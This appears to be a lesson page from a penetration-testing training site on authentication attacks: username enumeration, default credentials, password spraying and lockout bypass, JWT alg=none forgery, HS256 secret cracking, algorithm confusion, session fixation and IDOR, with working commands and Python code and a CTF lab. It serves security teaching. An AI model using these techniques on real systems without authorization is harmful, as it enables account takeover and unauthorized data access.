Browse CTFs New CTF Sign in

Authentication Attacks: Login Bypass, JWT Flaws & Session Management

web_auth_sessions Difficulty 2–3 55 min certifiable

Theory

Prerequisites

  • PEN-K005: SQL Injection

Why This Lesson Matters

Authentication is the gatekeeper. Break it and every access control behind it is irrelevant. Modern web apps use a mix of session cookies, JWT tokens, OAuth flows, and API keys — each with its own failure modes. This lesson covers the most impactful authentication weaknesses found in professional pentests.


1. Login Page Attacks

1.1 Username Enumeration

Many login forms reveal whether a username exists through different responses:

POST /login  username=alice&password=wrong
→ "Invalid password"   ← VALID username confirmed

POST /login  username=bob&password=wrong
→ "Username not found" ← INVALID username confirmed

This is a finding even if no password is cracked. Enumeration enables targeted brute force.

# ffuf for username enumeration
ffuf -w /wordlists/usernames.txt -X POST 
  -d "username=FUZZ&password=wrong" 
  -H "Content-Type: application/x-www-form-urlencoded" 
  -u https://app.corp.local/login 
  -fr "Username not found"   # filter out the "not found" response
# Remaining results = valid usernames

1.2 Default Credentials

Check default credentials for identified services:

# Metasploit scanner
use auxiliary/scanner/http/http_login
set RHOSTS target
set USER_FILE /wordlists/default_usernames.txt
set PASS_FILE /wordlists/default_passwords.txt
run

# Manual checks for common defaults:
# admin:admin, admin:password, admin:1234, root:root, admin:(blank)

1.3 Account Lockout Bypass

# Some applications only lock the account, not the IP
# Rotate source IP to bypass: use burp intruder with different X-Forwarded-For values
# X-Forwarded-For: 1.1.1.1  → try password 1
# X-Forwarded-For: 1.1.1.2  → try password 2

# Or: rotate usernames — lockout is per account, not per IP
# Try password "Summer2026!" against 100 different usernames
# This is "password spraying" — avoids lockout on any single account

2. JWT Attacks

JSON Web Tokens (JWT) are three base64url-encoded sections: header.payload.signature.

2.1 The alg=none Attack

Some JWT libraries accept a token signed with alg: none — meaning no signature at all:

import base64, json

# Original token: eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJ1c2VyIiwiYWRtaW4iOmZhbHNlfQ.SIGNATURE

# Step 1: decode the header
header = {"alg": "none"}

# Step 2: modify the payload
payload = {"sub": "user", "admin": True}   # escalate to admin

# Step 3: re-encode with no signature
def b64encode(data):
    return base64.urlsafe_b64encode(json.dumps(data).encode()).rstrip(b'=').decode()

forged = f"{b64encode(header)}.{b64encode(payload)}."
# Note the trailing dot — empty signature section
print(forged)

Send the forged token in the Authorization header. If the server accepts it, admin access is obtained without knowing the secret.

2.2 Weak HS256 Secret

If the JWT uses HMAC-SHA256 and the secret is weak, crack it offline:

# Extract the token from Burp or browser devtools
TOKEN="eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJ1c2VyIn0.SIGNATURE"

# Crack with hashcat (mode 16500 = JWT HS256/384/512)
hashcat -a 0 -m 16500 "$TOKEN" /wordlists/rockyou.txt

# If cracked, forge with a new payload:
python3 -c "
import jwt
print(jwt.encode({'sub': 'user', 'admin': True}, 'crackedSecret', algorithm='HS256'))
"

2.3 Algorithm Confusion (RS256 → HS256)

If the server normally uses RS256 (asymmetric), but the library also accepts HS256, you can sign a forged token with the public key as the HMAC secret:

# Get the public key from /.well-known/jwks.json
# Use it as the secret for HS256 signing
import jwt
forged = jwt.encode({"sub": "admin"}, public_key_pem, algorithm="HS256")

3. Session Management Flaws

3.1 Session Token Predictability

# Check if session tokens are predictable
import requests, time

tokens = []
for _ in range(10):
    r = requests.get("https://app.corp.local/login")
    cookie = r.cookies.get("session")
    tokens.append(cookie)
    time.sleep(0.1)

print(tokens)
# If tokens are sequential integers → trivially guessable
# If tokens are timestamp-based → brute-forceable within a time window

3.2 Session Fixation

An attacker sends a victim a link with a known session ID. If the application does not regenerate the session token after login, the attacker can authenticate as the victim:

1. Attacker visits /login → gets session: ABC123
2. Attacker sends victim: https://app.corp.local/login;sessionid=ABC123
3. Victim logs in → session ABC123 is now authenticated
4. Attacker uses session ABC123 → authenticated as victim

Fix: always issue a new session token after successful authentication.


4. Insecure Direct Object Reference (IDOR)

IDOR is when a user can access another user's resources by modifying a predictable identifier.

Victim's order: GET /api/orders/1001
Attacker modifies:  GET /api/orders/1002  → returns another user's order data

Test methodology: 1. Create two test accounts (Account A and Account B) 2. Perform an action with Account A, note the object ID (e.g., profile ID 1001) 3. While authenticated as Account B, request Account A's object 4. If successful: IDOR confirmed — access control is missing


5. Common Mistakes

Mistake 1: Only testing the login form. APIs often have separate authentication endpoints, token refresh flows, and password reset mechanisms — each with their own vulnerabilities. Test all auth flows.

Mistake 2: Reporting alg=none without confirming the server accepts the forged token. Constructing a forged token is not a finding. The server accepting it is the finding. Confirm with a request that requires the claimed privilege.

Mistake 3: Not cleaning up test accounts. Create dedicated test accounts for IDOR testing. Remove all test data and accounts at engagement close.


6. Practice Exercises

  1. The login page returns "Invalid password" for valid usernames and "Account not found" for invalid ones. Score this finding with CVSS v3.1. Is username enumeration alone worth reporting?

  2. A JWT with alg: HS256 has a secret of secret. Forge a token with admin: true. What CVSS score does this deserve?

  3. You find that /api/users/42/profile returns your data. Modifying to /api/users/43/profile returns someone else's data. Describe the finding, severity, and the fix.


7. Lab

Assessment mode: flag

challenge_spec_id: 109 — JWT alg=none

The application uses JWT for authentication. The server is vulnerable to the alg=none attack.

Task: 1. Log in as a regular user and capture your JWT 2. Decode the header and payload 3. Forge a new JWT with alg=none and admin=true 4. Use the forged token to access /admin/flag


8. Framework Alignment

Framework Role Competency Confidence
CCSSF-PEN Penetration Tester Authentication attack techniques High
CCSSF-STE Security Testing Authentication security testing High
CCSSF-ENG Security Engineer Secure token implementation High
NICE 2.2.0 Security Testing K0009 — Application vulnerabilities High

9. Further Reading

  • PortSwigger Authentication Labs — https://portswigger.net/web-security/authentication
  • JWT.io — https://jwt.io — Token decoder and algorithm reference
  • OWASP Authentication Cheat Sheet — Complete implementation guidance

Learning Objectives

["Enumerate valid usernames using response differential analysis with ffuf and explain why this constitutes a security finding", "Construct a JWT with alg=none by base64url-encoding a modified header and payload, append an empty signature, and confirm the server accepts the forged token", "Demonstrate IDOR by accessing another account's resource by modifying a predictable object ID, and describe the access control fix"]

Lesson Outline

Prerequisites → Why this matters → Login attacks (username enumeration, default creds, lockout bypass, password spraying) → JWT attacks (alg=none with Python code, weak secret cracking with hashcat, algorithm confusion) → Session management (predictability check, session fixation) → IDOR (test methodology with two accounts) → Common mistakes → Practice exercises → Lab (flag, spec 109) → Framework alignment → Further reading

Challenge Lab

Reinforce your learning with a hands-on generated challenge based on this card's competency.